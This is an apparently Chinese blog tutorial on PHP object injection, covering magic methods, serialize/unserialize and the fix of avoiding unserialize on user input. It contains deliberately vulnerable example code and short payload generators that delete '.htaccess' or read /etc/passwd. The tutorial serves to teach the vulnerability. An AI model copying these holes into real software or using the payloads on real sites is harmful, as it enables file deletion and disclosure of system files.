PHP Object Injection(PHP对象注入),objectinjection
PHP Object Injection(PHP对象注入)
文:https://vagosec.org/2013/09/wordpress-php-object-injection/
最近做wechall的PHP遇到一个题,琢磨了好久才知道咋整,感觉wechall网站的题总是百度不到答案,真是有点蛋疼。好了进入正题。
那道题主要是考的序列化与反序列化。
1、魔术方法
这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic
方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__
开头的,比如 __construct
, __destruct
,__toString
,__sleep
,__wakeup
等等。这些函数都会在某些特殊时候被自动调用。
例如__construct()
方法会在一个对象被创建时自动调用,对应的__destruct
则会在一个对象被销毁时调用等等。
2、php对象的序列化与反序列化(serialize和unserialize)
php允许保存一个对象方便以后重用,这个过程被称为序列化,即serialize()函数,对应的反序列化就是unserialize()。
简单的说,序列化就是把PHP对象按照一定规则存成一个字符串,而反序列化就是把序列化之后的字符串恢复成一个PHP对象。
这里我们简单测试一下吧:
<?php
class test
{
public $username = '';
public $password = '';
}
$a = new test();
$a->username = 'serial';
$a->password = 'serial';
echo serialize($a);
?>
输出为:
O:4:"test":2:{s:8:"username";s:6:"serial";s:8:"password";s:6:"serial";}
可以看到序列化之后数据被存了下来,但是没有任何与原来类有关的东西。接下来我们再测试一下unserialize()函数,
<?php
class test
{
public $username = '';
public $password = '';
public function out(){
echo "username: ".$this->username."<br>"."password: ".$this->password ;
}
}
$a ='O:4:"test":2:{s:8:"username";s:6:"serial";s:8:"password";s:6:"serial";}';
$tmp=unserialize($a);
$tmp->out();
?>
结果为:
username: serial
password: serial
经过unserialize()之后,我们的对象又被重建了出来。
3、序列化、魔术方法与PHP对象注入
这里有两个比较特别的Magic
方法,__sleep
方法会在一个对象被序列化的时候调用。 __wakeup
方法会在一个对象被反序列化的时候调用。
那么,考虑这么一个场景,如果一个攻击者的数据是通过unserialize()
方法传递的,那么这样就很可能引发“php对象注入”,而很可能那些与该对象有关的Magic
方法会执行一些效果,打个比方,如果该对象是一个记录临时文件的对象,当对象创建的时候,即会调用 __construct
方法,此时会创建一个文件,而 __destruct
则会删除创建的文件。而此时恰好我们可以构造输入通过unserialize()
传递,那么我们就可以对我们的输入稍作加工就可以完成输入我们想要输入的,举个例子把:
<?php
class test
{
public $filename = 'temp.txt';
public function LogData($text)
{
file_put_contents($this->filename, $text, FILE_APPEND);
}
public function __destruct()
{
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
class user
{
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'Username:'.$this->name.'<br>'.'age:'.$this->age;
}
}
if(isset($_GET['user']))
$usr = unserialize($_GET['user']);
?>
定义了两个类,最后有一个 “unserialize” 值是我们可以注入的。它的本意是传递user的信息,但是如果我们输入一个字符串最后能够被反序列化为test类,那么问题就关键了,因为一个test类最后会删除它的同名文件夹,如果此时我们通过如下代码构造一串字符串:
<?php
$obj = new test();
$obj->filename = '.htaccess';
echo serialize($obj) . '<br />';
?>
这样我们将打印出来的结果传入到之前那个php中,那么最终删除的就是这个’.htaccess’文件了。因为脚本结束时 __destruct会被调用,从而触发删除。
这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。
虽然这不是一个很好的例子,不过相信还是可以理解这个概念的。
再举一个更加直观一点的例子:
看这个代码:
<?php
class Foo {
private $bar;
public $file;
public function __construct($fileName) {
$this->bar = 'foobar';
$this->file = $fileName;
}
// 很多其他的代码
public function __toString() {
return file_get_contents($this->file);
}
}
....... // 很多其他的代码
echo unserialize($_GET['in']);
....... // 很多其他的代码
?>
同样的,我们可以通过下面的代码来生成payload:
<?php
class Foo {
public $file;
}
$foo = new Foo();
$foo->file = '/etc/passwd';
echo serialize($foo);
?>
结果是O:3:"Foo":1:{s:4:"file";s:11:"/etc/passwd";}
,接下来就简单了,只需要发送一个GET请求就可以让它输出/etc/passwd
的内容了,再假想一下,如果这里把file_get_contents
换成了eval
,结果更加是不堪设想。
所以PHP参考手册里也很直接的说了one should not pass user-generated content to the unserialize() function
(不要把用户生成的内容传递给unserialize()函数)
4、解决办法
其实解决起来也是比较简单的,只要别在任何用户可控的地方使用“unserialize”就可以。另外实在要用的话可以考虑“json_decode“。
PHP之友评论